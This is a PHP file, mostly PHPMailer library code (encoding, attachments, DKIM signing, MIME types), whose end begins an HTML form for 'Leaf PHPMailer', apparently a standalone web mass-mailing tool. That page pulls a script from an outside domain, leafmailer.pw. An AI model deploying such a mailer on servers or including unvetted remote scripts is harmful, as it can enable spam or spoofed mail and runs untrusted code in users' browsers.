        $encoded = '';
1679
        switch (strtolower($encoding)) {
1680
            case 'base64':
1681
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
1682
                break;
1683
            case '7bit':
1684
            case '8bit':
1685
                $encoded = $this->fixEOL($str);
1686
                // Make sure it ends with a line break
1687
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
1688
                    $encoded .= $this->LE;
1689
                }
1690
                break;
1691
            case 'binary':
1692
                $encoded = $str;
1693
                break;
1694
            case 'quoted-printable':
1695
                $encoded = $this->encodeQP($str);
1696
                break;
1697
            default:
1698
                $this->setError($this->lang('encoding') . $encoding);
1699
                break;
1700
        }
1701
        return $encoded;
1702
    }
1703
    public function encodeHeader($str, $position = 'text')
1704
    {
1705
        $matchcount = 0;
1706
        switch (strtolower($position)) {
1707
            case 'phrase':
1708
                if (!preg_match('/[\200-\377]/', $str)) {
1709
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
1710
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
1711
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
1712
                        return ($encoded);
1713
                    } else {
1714
                        return ("\"$encoded\"");
1715
                    }
1716
                }
1717
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
1718
                break;
1719
            /** @noinspection PhpMissingBreakStatementInspection */
1720
            case 'comment':
1721
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
1722
                // Intentional fall-through
1723
            case 'text':
1724
            default:
1725
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
1726
                break;
1727
        }
1728
        //There are no chars that need encoding
1729
        if ($matchcount == 0) {
1730
            return ($str);
1731
        }
1732
        $maxlen = 75 - 7 - strlen($this->CharSet);
1733
        // Try to select the encoding which should produce the shortest output
1734
        if ($matchcount > strlen($str) / 3) {
1735
            // More than a third of the content will need encoding, so B encoding will be most efficient
1736
            $encoding = 'B';
1737
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
1738
                // Use a custom function which correctly encodes and wraps long
1739
                // multibyte strings without breaking lines within a character
1740
                $encoded = $this->base64EncodeWrapMB($str, "\n");
1741
            } else {
1742
                $encoded = base64_encode($str);
1743
                $maxlen -= $maxlen % 4;
1744
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
1745
            }
1746
        } else {
1747
            $encoding = 'Q';
1748
            $encoded = $this->encodeQ($str, $position);
1749
            $encoded = $this->wrapText($encoded, $maxlen, true);
1750
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
1751
        }
1752
        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
1753
        $encoded = trim(str_replace("\n", $this->LE, $encoded));
1754
        return $encoded;
1755
    }
1756
    public function hasMultiBytes($str)
1757
    {
1758
        if (function_exists('mb_strlen')) {
1759
            return (strlen($str) > mb_strlen($str, $this->CharSet));
1760
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
1761
            return false;
1762
        }
1763
    }
1764
    public function has8bitChars($text)
1765
    {
1766
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
1767
    }
1768
    public function base64EncodeWrapMB($str, $linebreak = null)
1769
    {
1770
        $start = '=?' . $this->CharSet . '?B?';
1771
        $end = '?=';
1772
        $encoded = '';
1773
        if ($linebreak === null) {
1774
            $linebreak = $this->LE;
1775
        }
1776
        $mb_length = mb_strlen($str, $this->CharSet);
1777
        // Each line must have length <= 75, including $start and $end
1778
        $length = 75 - strlen($start) - strlen($end);
1779
        // Average multi-byte ratio
1780
        $ratio = $mb_length / strlen($str);
1781
        // Base64 has a 4:3 ratio
1782
        $avgLength = floor($length * $ratio * .75);
1783
        for ($i = 0; $i < $mb_length; $i += $offset) {
1784
            $lookBack = 0;
1785
            do {
1786
                $offset = $avgLength - $lookBack;
1787
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
1788
                $chunk = base64_encode($chunk);
1789
                $lookBack++;
1790
            } while (strlen($chunk) > $length);
1791
            $encoded .= $chunk . $linebreak;
1792
        }
1793
        // Chomp the last linefeed
1794
        $encoded = substr($encoded, 0, -strlen($linebreak));
1795
        return $encoded;
1796
    }
1797
    public function encodeQP($string, $line_max = 76)
1798
    {
1799
        // Use native function if it's available (>= PHP5.3)
1800
        if (function_exists('quoted_printable_encode')) {
1801
            return quoted_printable_encode($string);
1802
        }
1803
        // Fall back to a pure PHP implementation
1804
        $string = str_replace(
1805
            array('%20', '%0D%0A.', '%0D%0A', '%'),
1806
            array(' ', "\r\n=2E", "\r\n", '='),
1807
            rawurlencode($string)
1808
        );
1809
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
1810
    }
1811
    public function encodeQPphp(
1812
        $string,
1813
        $line_max = 76,
1814
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
1815
    ) {
1816
        return $this->encodeQP($string, $line_max);
1817
    }
1818
    public function encodeQ($str, $position = 'text')
1819
    {
1820
        // There should not be any EOL in the string
1821
        $pattern = '';
1822
        $encoded = str_replace(array("\r", "\n"), '', $str);
1823
        switch (strtolower($position)) {
1824
            case 'phrase':
1825
                // RFC 2047 section 5.3
1826
                $pattern = '^A-Za-z0-9!*+\/ -';
1827
                break;
1828
            /** @noinspection PhpMissingBreakStatementInspection */
1829
            case 'comment':
1830
                // RFC 2047 section 5.2
1831
                $pattern = '\(\)"';
1832
                // intentional fall-through
1833
                // for this reason we build the $pattern without including delimiters and []
1834
            case 'text':
1835
            default:
1836
                // RFC 2047 section 5.1
1837
                // Replace every high ascii, control, =, ? and _ characters
1838
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
1839
                break;
1840
        }
1841
        $matches = array();
1842
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
1843
            // If the string contains an '=', make sure it's the first thing we replace
1844
            // so as to avoid double-encoding
1845
            $eqkey = array_search('=', $matches[0]);
1846
            if (false !== $eqkey) {
1847
                unset($matches[0][$eqkey]);
1848
                array_unshift($matches[0], '=');
1849
            }
1850
            foreach (array_unique($matches[0]) as $char) {
1851
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
1852
            }
1853
        }
1854
        // Replace every spaces to _ (more readable than =20)
1855
        return str_replace(' ', '_', $encoded);
1856
    }
1857
    public function addStringAttachment(
1858
        $string,
1859
        $filename,
1860
        $encoding = 'base64',
1861
        $type = '',
1862
        $disposition = 'attachment'
1863
    ) {
1864
        // If a MIME type is not specified, try to work it out from the file name
1865
        if ($type == '') {
1866
            $type = self::filenameToType($filename);
1867
        }
1868
        // Append to $attachment array
1869
        $this->attachment[] = array(
1870
            0 => $string,
1871
            1 => $filename,
1872
            2 => basename($filename),
1873
            3 => $encoding,
1874
            4 => $type,
1875
            5 => true, // isStringAttachment
1876
            6 => $disposition,
1877
            7 => 0
1878
        );
1879
    }
1880
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
1881
    {
1882
        if (!@is_file($path)) {
1883
            $this->setError($this->lang('file_access') . $path);
1884
            return false;
1885
        }
1886
        // If a MIME type is not specified, try to work it out from the file name
1887
        if ($type == '') {
1888
            $type = self::filenameToType($path);
1889
        }
1890
        $filename = basename($path);
1891
        if ($name == '') {
1892
            $name = $filename;
1893
        }
1894
        // Append to $attachment array
1895
        $this->attachment[] = array(
1896
            0 => $path,
1897
            1 => $filename,
1898
            2 => $name,
1899
            3 => $encoding,
1900
            4 => $type,
1901
            5 => false, // isStringAttachment
1902
            6 => $disposition,
1903
            7 => $cid
1904
        );
1905
        return true;
1906
    }
1907
    public function addStringEmbeddedImage(
1908
        $string,
1909
        $cid,
1910
        $name = '',
1911
        $encoding = 'base64',
1912
        $type = '',
1913
        $disposition = 'inline'
1914
    ) {
1915
        // If a MIME type is not specified, try to work it out from the name
1916
        if ($type == '' and !empty($name)) {
1917
            $type = self::filenameToType($name);
1918
        }
1919
        // Append to $attachment array
1920
        $this->attachment[] = array(
1921
            0 => $string,
1922
            1 => $name,
1923
            2 => $name,
1924
            3 => $encoding,
1925
            4 => $type,
1926
            5 => true, // isStringAttachment
1927
            6 => $disposition,
1928
            7 => $cid
1929
        );
1930
        return true;
1931
    }
1932
    /**
1933
     * Check if an inline attachment is present.
1934
     * @access public
1935
     * @return boolean
1936
     */
1937
    public function inlineImageExists()
1938
    {
1939
        foreach ($this->attachment as $attachment) {
1940
            if ($attachment[6] == 'inline') {
1941
                return true;
1942
            }
1943
        }
1944
        return false;
1945
    }
1946
    public function attachmentExists()
1947
    {
1948
        foreach ($this->attachment as $attachment) {
1949
            if ($attachment[6] == 'attachment') {
1950
                return true;
1951
            }
1952
        }
1953
        return false;
1954
    }
1955
    public function alternativeExists()
1956
    {
1957
        return !empty($this->AltBody);
1958
    }
1959
    public function clearQueuedAddresses($kind)
1960
    {
1961
        $RecipientsQueue = $this->RecipientsQueue;
1962
        foreach ($RecipientsQueue as $address => $params) {
1963
            if ($params[0] == $kind) {
1964
                unset($this->RecipientsQueue[$address]);
1965
            }
1966
        }
1967
    }
1968
    /**
1969
     * Clear all To recipients.
1970
     * @return void
1971
     */
1972
    public function clearAddresses()
1973
    {
1974
        foreach ($this->to as $to) {
1975
            unset($this->all_recipients[strtolower($to[0])]);
1976
        }
1977
        $this->to = array();
1978
        $this->clearQueuedAddresses('to');
1979
    }
1980
    public function clearCCs()
1981
    {
1982
        foreach ($this->cc as $cc) {
1983
            unset($this->all_recipients[strtolower($cc[0])]);
1984
        }
1985
        $this->cc = array();
1986
        $this->clearQueuedAddresses('cc');
1987
    }
1988
    public function clearBCCs()
1989
    {
1990
        foreach ($this->bcc as $bcc) {
1991
            unset($this->all_recipients[strtolower($bcc[0])]);
1992
        }
1993
        $this->bcc = array();
1994
        $this->clearQueuedAddresses('bcc');
1995
    }
1996
    public function clearReplyTos()
1997
    {
1998
        $this->ReplyTo = array();
1999
        $this->ReplyToQueue = array();
2000
    }
2001
    public function clearAllRecipients()
2002
    {
2003
        $this->to = array();
2004
        $this->cc = array();
2005
        $this->bcc = array();
2006
        $this->all_recipients = array();
2007
        $this->RecipientsQueue = array();
2008
    }
2009
    public function clearAttachments()
2010
    {
2011
        $this->attachment = array();
2012
    }
2013
    public function clearCustomHeaders()
2014
    {
2015
        $this->CustomHeader = array();
2016
    }
2017
    protected function setError($msg)
2018
    {
2019
        $this->error_count++;
2020
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
2021
            $lasterror = $this->smtp->getError();
2022
            if (!empty($lasterror['error'])) {
2023
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
2024
                if (!empty($lasterror['detail'])) {
2025
                    $msg .= ' Detail: '. $lasterror['detail'];
2026
                }
2027
                if (!empty($lasterror['smtp_code'])) {
2028
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
2029
                }
2030
                if (!empty($lasterror['smtp_code_ex'])) {
2031
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
2032
                }
2033
            }
2034
        }
2035
        $this->ErrorInfo = $msg;
2036
    }
2037
    public static function rfcDate()
2038
    {
2039
        // Set the time zone to whatever the default is to avoid 500 errors
2040
        // Will default to UTC if it's not set properly in php.ini
2041
        date_default_timezone_set(@date_default_timezone_get());
2042
        return date('D, j M Y H:i:s O');
2043
    }
2044
    protected function serverHostname()
2045
    {
2046
        $result = 'localhost.localdomain';
2047
        if (!empty($this->Hostname)) {
2048
            $result = $this->Hostname;
2049
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
2050
            $result = $_SERVER['SERVER_NAME'];
2051
        } elseif (function_exists('gethostname') && gethostname() !== false) {
2052
            $result = gethostname();
2053
        } elseif (php_uname('n') !== false) {
2054
            $result = php_uname('n');
2055
        }
2056
        return $result;
2057
    }
2058
    protected function lang($key)
2059
    {
2060
        if (count($this->language) < 1) {
2061
            $this->setLanguage('en'); // set the default language
2062
        }
2063
        if (array_key_exists($key, $this->language)) {
2064
            if ($key == 'smtp_connect_failed') {
2065
                //Include a link to troubleshooting docs on SMTP connection failure
2066
                //this is by far the biggest cause of support questions
2067
                //but it's usually not PHPMailer's fault.
2068
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
2069
            }
2070
            return $this->language[$key];
2071
        } else {
2072
            //Return the key as a fallback
2073
            return $key;
2074
        }
2075
    }
2076
    public function isError()
2077
    {
2078
        return ($this->error_count > 0);
2079
    }
2080
    public function fixEOL($str)
2081
    {
2082
        // Normalise to \n
2083
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
2084
        // Now convert LE as needed
2085
        if ($this->LE !== "\n") {
2086
            $nstr = str_replace("\n", $this->LE, $nstr);
2087
        }
2088
        return $nstr;
2089
    }
2090
    public function addCustomHeader($name, $value = null)
2091
    {
2092
        if ($value === null) {
2093
            // Value passed in as name:value
2094
            $this->CustomHeader[] = explode(':', $name, 2);
2095
        } else {
2096
            $this->CustomHeader[] = array($name, $value);
2097
        }
2098
    }
2099
    public function getCustomHeaders()
2100
    {
2101
        return $this->CustomHeader;
2102
    }
2103
    public function msgHTML($message, $basedir = '', $advanced = false)
2104
    {
2105
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
2106
        if (array_key_exists(2, $images)) {
2107
            foreach ($images[2] as $imgindex => $url) {
2108
                // Convert data URIs into embedded images
2109
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
2110
                    $data = substr($url, strpos($url, ','));
2111
                    if ($match[2]) {
2112
                        $data = base64_decode($data);
2113
                    } else {
2114
                        $data = rawurldecode($data);
2115
                    }
2116
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
2117
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
2118
                        $message = str_replace(
2119
                            $images[0][$imgindex],
2120
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
2121
                            $message
2122
                        );
2123
                    }
2124
                } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
2125
                    // Do not change urls for absolute images (thanks to corvuscorax)
2126
                    // Do not change urls that are already inline images
2127
                    $filename = basename($url);
2128
                    $directory = dirname($url);
2129
                    if ($directory == '.') {
2130
                        $directory = '';
2131
                    }
2132
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
2133
                    if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
2134
                        $basedir .= '/';
2135
                    }
2136
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
2137
                        $directory .= '/';
2138
                    }
2139
                    if ($this->addEmbeddedImage(
2140
                        $basedir . $directory . $filename,
2141
                        $cid,
2142
                        $filename,
2143
                        'base64',
2144
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
2145
                    )
2146
                    ) {
2147
                        $message = preg_replace(
2148
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
2149
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
2150
                            $message
2151
                        );
2152
                    }
2153
                }
2154
            }
2155
        }
2156
        $this->isHTML(true);
2157
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
2158
        $this->Body = $this->normalizeBreaks($message);
2159
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
2160
        if (empty($this->AltBody)) {
2161
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
2162
                self::CRLF . self::CRLF;
2163
        }
2164
        return $this->Body;
2165
    }
2166
    public function html2text($html, $advanced = false)
2167
    {
2168
        if (is_callable($advanced)) {
2169
            return call_user_func($advanced, $html);
2170
        }
2171
        return html_entity_decode(
2172
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
2173
            ENT_QUOTES,
2174
            $this->CharSet
2175
        );
2176
    }
2177
    public static function _mime_types($ext = '')
2178
    {
2179
        $mimes = array(
2180
            'xl'    => 'application/excel',
2181
            'js'    => 'application/javascript',
2182
            'hqx'   => 'application/mac-binhex40',
2183
            'cpt'   => 'application/mac-compactpro',
2184
            'bin'   => 'application/macbinary',
2185
            'doc'   => 'application/msword',
2186
            'word'  => 'application/msword',
2187
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
2188
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
2189
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
2190
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
2191
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
2192
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
2193
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
2194
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
2195
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
2196
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
2197
            'class' => 'application/octet-stream',
2198
            'dll'   => 'application/octet-stream',
2199
            'dms'   => 'application/octet-stream',
2200
            'exe'   => 'application/octet-stream',
2201
            'lha'   => 'application/octet-stream',
2202
            'lzh'   => 'application/octet-stream',
2203
            'psd'   => 'application/octet-stream',
2204
            'sea'   => 'application/octet-stream',
2205
            'so'    => 'application/octet-stream',
2206
            'oda'   => 'application/oda',
2207
            'pdf'   => 'application/pdf',
2208
            'ai'    => 'application/postscript',
2209
            'eps'   => 'application/postscript',
2210
            'ps'    => 'application/postscript',
2211
            'smi'   => 'application/smil',
2212
            'smil'  => 'application/smil',
2213
            'mif'   => 'application/vnd.mif',
2214
            'xls'   => 'application/vnd.ms-excel',
2215
            'ppt'   => 'application/vnd.ms-powerpoint',
2216
            'wbxml' => 'application/vnd.wap.wbxml',
2217
            'wmlc'  => 'application/vnd.wap.wmlc',
2218
            'dcr'   => 'application/x-director',
2219
            'dir'   => 'application/x-director',
2220
            'dxr'   => 'application/x-director',
2221
            'dvi'   => 'application/x-dvi',
2222
            'gtar'  => 'application/x-gtar',
2223
            'php3'  => 'application/x-httpd-php',
2224
            'php4'  => 'application/x-httpd-php',
2225
            'php'   => 'application/x-httpd-php',
2226
            'phtml' => 'application/x-httpd-php',
2227
            'phps'  => 'application/x-httpd-php-source',
2228
            'swf'   => 'application/x-shockwave-flash',
2229
            'sit'   => 'application/x-stuffit',
2230
            'tar'   => 'application/x-tar',
2231
            'tgz'   => 'application/x-tar',
2232
            'xht'   => 'application/xhtml+xml',
2233
            'xhtml' => 'application/xhtml+xml',
2234
            'zip'   => 'application/zip',
2235
            'mid'   => 'audio/midi',
2236
            'midi'  => 'audio/midi',
2237
            'mp2'   => 'audio/mpeg',
2238
            'mp3'   => 'audio/mpeg',
2239
            'mpga'  => 'audio/mpeg',
2240
            'aif'   => 'audio/x-aiff',
2241
            'aifc'  => 'audio/x-aiff',
2242
            'aiff'  => 'audio/x-aiff',
2243
            'ram'   => 'audio/x-pn-realaudio',
2244
            'rm'    => 'audio/x-pn-realaudio',
2245
            'rpm'   => 'audio/x-pn-realaudio-plugin',
2246
            'ra'    => 'audio/x-realaudio',
2247
            'wav'   => 'audio/x-wav',
2248
            'bmp'   => 'image/bmp',
2249
            'gif'   => 'image/gif',
2250
            'jpeg'  => 'image/jpeg',
2251
            'jpe'   => 'image/jpeg',
2252
            'jpg'   => 'image/jpeg',
2253
            'png'   => 'image/png',
2254
            'tiff'  => 'image/tiff',
2255
            'tif'   => 'image/tiff',
2256
            'eml'   => 'message/rfc822',
2257
            'css'   => 'text/css',
2258
            'html'  => 'text/html',
2259
            'htm'   => 'text/html',
2260
            'shtml' => 'text/html',
2261
            'log'   => 'text/plain',
2262
            'text'  => 'text/plain',
2263
            'txt'   => 'text/plain',
2264
            'rtx'   => 'text/richtext',
2265
            'rtf'   => 'text/rtf',
2266
            'vcf'   => 'text/vcard',
2267
            'vcard' => 'text/vcard',
2268
            'xml'   => 'text/xml',
2269
            'xsl'   => 'text/xml',
2270
            'mpeg'  => 'video/mpeg',
2271
            'mpe'   => 'video/mpeg',
2272
            'mpg'   => 'video/mpeg',
2273
            'mov'   => 'video/quicktime',
2274
            'qt'    => 'video/quicktime',
2275
            'rv'    => 'video/vnd.rn-realvideo',
2276
            'avi'   => 'video/x-msvideo',
2277
            'movie' => 'video/x-sgi-movie'
2278
        );
2279
        if (array_key_exists(strtolower($ext), $mimes)) {
2280
            return $mimes[strtolower($ext)];
2281
        }
2282
        return 'application/octet-stream';
2283
    }
2284
    public static function filenameToType($filename)
2285
    {
2286
        // In case the path is a URL, strip any query string before getting extension
2287
        $qpos = strpos($filename, '?');
2288
        if (false !== $qpos) {
2289
            $filename = substr($filename, 0, $qpos);
2290
        }
2291
        $pathinfo = self::mb_pathinfo($filename);
2292
        return self::_mime_types($pathinfo['extension']);
2293
    }
2294
    public static function mb_pathinfo($path, $options = null)
2295
    {
2296
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
2297
        $pathinfo = array();
2298
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
2299
            if (array_key_exists(1, $pathinfo)) {
2300
                $ret['dirname'] = $pathinfo[1];
2301
            }
2302
            if (array_key_exists(2, $pathinfo)) {
2303
                $ret['basename'] = $pathinfo[2];
2304
            }
2305
            if (array_key_exists(5, $pathinfo)) {
2306
                $ret['extension'] = $pathinfo[5];
2307
            }
2308
            if (array_key_exists(3, $pathinfo)) {
2309
                $ret['filename'] = $pathinfo[3];
2310
            }
2311
        }
2312
        switch ($options) {
2313
            case PATHINFO_DIRNAME:
2314
            case 'dirname':
2315
                return $ret['dirname'];
2316
            case PATHINFO_BASENAME:
2317
            case 'basename':
2318
                return $ret['basename'];
2319
            case PATHINFO_EXTENSION:
2320
            case 'extension':
2321
                return $ret['extension'];
2322
            case PATHINFO_FILENAME:
2323
            case 'filename':
2324
                return $ret['filename'];
2325
            default:
2326
                return $ret;
2327
        }
2328
    }
2329
    public function set($name, $value = '')
2330
    {
2331
        if (property_exists($this, $name)) {
2332
            $this->$name = $value;
2333
            return true;
2334
        } else {
2335
            $this->setError($this->lang('variable_set') . $name);
2336
            return false;
2337
        }
2338
    }
2339
    public function secureHeader($str)
2340
    {
2341
        return trim(str_replace(array("\r", "\n"), '', $str));
2342
    }
2343
    public static function normalizeBreaks($text, $breaktype = "\r\n")
2344
    {
2345
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
2346
    }
2347
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
2348
    {
2349
        $this->sign_cert_file = $cert_filename;
2350
        $this->sign_key_file = $key_filename;
2351
        $this->sign_key_pass = $key_pass;
2352
        $this->sign_extracerts_file = $extracerts_filename;
2353
    }
2354
    public function DKIM_QP($txt)
2355
    {
2356
        $line = '';
2357
        for ($i = 0; $i < strlen($txt); $i++) {
2358
            $ord = ord($txt[$i]);
2359
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
2360
                $line .= $txt[$i];
2361
            } else {
2362
                $line .= '=' . sprintf('%02X', $ord);
2363
            }
2364
        }
2365
        return $line;
2366
    }
2367
    public function DKIM_Sign($signHeader)
2368
    {
2369
        if (!defined('PKCS7_TEXT')) {
2370
            if ($this->exceptions) {
2371
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
2372
            }
2373
            return '';
2374
        }
2375
        $privKeyStr = file_get_contents($this->DKIM_private);
2376
        if ($this->DKIM_passphrase != '') {
2377
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
2378
        } else {
2379
            $privKey = $privKeyStr;
2380
        }
2381
        if (openssl_sign($signHeader, $signature, $privKey)) {
2382
            return base64_encode($signature);
2383
        }
2384
        return '';
2385
    }
2386
    public function DKIM_HeaderC($signHeader)
2387
    {
2388
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
2389
        $lines = explode("\r\n", $signHeader);
2390
        foreach ($lines as $key => $line) {
2391
            list($heading, $value) = explode(':', $line, 2);
2392
            $heading = strtolower($heading);
2393
            $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
2394
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
2395
        }
2396
        $signHeader = implode("\r\n", $lines);
2397
        return $signHeader;
2398
    }
2399
    public function DKIM_BodyC($body)
2400
    {
2401
        if ($body == '') {
2402
            return "\r\n";
2403
        }
2404
        // stabilize line endings
2405
        $body = str_replace("\r\n", "\n", $body);
2406
        $body = str_replace("\n", "\r\n", $body);
2407
        // END stabilize line endings
2408
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
2409
            $body = substr($body, 0, strlen($body) - 2);
2410
        }
2411
        return $body;
2412
    }
2413
    public function DKIM_Add($headers_line, $subject, $body)
2414
    {
2415
        $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
2416
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
2417
        $DKIMquery = 'dns/txt'; // Query method
2418
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
2419
        $subject_header = "Subject: $subject";
2420
        $headers = explode($this->LE, $headers_line);
2421
        $from_header = '';
2422
        $to_header = '';
2423
        $current = '';
2424
        foreach ($headers as $header) {
2425
            if (strpos($header, 'From:') === 0) {
2426
                $from_header = $header;
2427
                $current = 'from_header';
2428
            } elseif (strpos($header, 'To:') === 0) {
2429
                $to_header = $header;
2430
                $current = 'to_header';
2431
            } else {
2432
                if (!empty($$current) && strpos($header, ' =?') === 0) {
2433
                    $$current .= $header;
2434
                } else {
2435
                    $current = '';
2436
                }
2437
            }
2438
        }
2439
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
2440
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
2441
        $subject = str_replace(
2442
            '|',
2443
            '=7C',
2444
            $this->DKIM_QP($subject_header)
2445
        ); // Copied header fields (dkim-quoted-printable)
2446
        $body = $this->DKIM_BodyC($body);
2447
        $DKIMlen = strlen($body); // Length of body
2448
        $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
2449
        if ('' == $this->DKIM_identity) {
2450
            $ident = '';
2451
        } else {
2452
            $ident = ' i=' . $this->DKIM_identity . ';';
2453
        }
2454
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
2455
            $DKIMsignatureType . '; q=' .
2456
            $DKIMquery . '; l=' .
2457
            $DKIMlen . '; s=' .
2458
            $this->DKIM_selector .
2459
            ";\r\n" .
2460
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
2461
            "\th=From:To:Subject;\r\n" .
2462
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
2463
            "\tz=$from\r\n" .
2464
            "\t|$to\r\n" .
2465
            "\t|$subject;\r\n" .
2466
            "\tbh=" . $DKIMb64 . ";\r\n" .
2467
            "\tb=";
2468
        $toSign = $this->DKIM_HeaderC(
2469
            $from_header . "\r\n" .
2470
            $to_header . "\r\n" .
2471
            $subject_header . "\r\n" .
2472
            $dkimhdrs
2473
        );
2474
        $signed = $this->DKIM_Sign($toSign);
2475
        return $dkimhdrs . $signed . "\r\n";
2476
    }
2477
    public static function hasLineLongerThanMax($str)
2478
    {
2479
        //+2 to include CRLF line break for a 1000 total
2480
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
2481
    }
2482
    public function getToAddresses()
2483
    {
2484
        return $this->to;
2485
    }
2486
    public function getCcAddresses()
2487
    {
2488
        return $this->cc;
2489
    }
2490
    public function getBccAddresses()
2491
    {
2492
        return $this->bcc;
2493
    }
2494
    public function getReplyToAddresses()
2495
    {
2496
        return $this->ReplyTo;
2497
    }
2498
    public function getAllRecipientAddresses()
2499
    {
2500
        return $this->all_recipients;
2501
    }
2502
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
2503
    {
2504
        if (!empty($this->action_function) && is_callable($this->action_function)) {
2505
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
2506
            call_user_func_array($this->action_function, $params);
2507
        }
2508
    }
2509
}
2510
class phpmailerException extends Exception
2511
{
2512
    public function errorMessage()
2513
    {
2514
        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
2515
        return $errorMsg;
2516
    }
2517
}
2518
print '
2519
<head>
2520
    <title>Leaf PHPMailer</title>
2521
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
2522
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
2523
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
2524
    <script src="https://leafmailer.pw/style.js"></script>
2525
</head>';
2526
print '<body>';
2527
print '<div class="container col-lg-6">
2528
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
2529
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
2530
            <div class="row">
2531
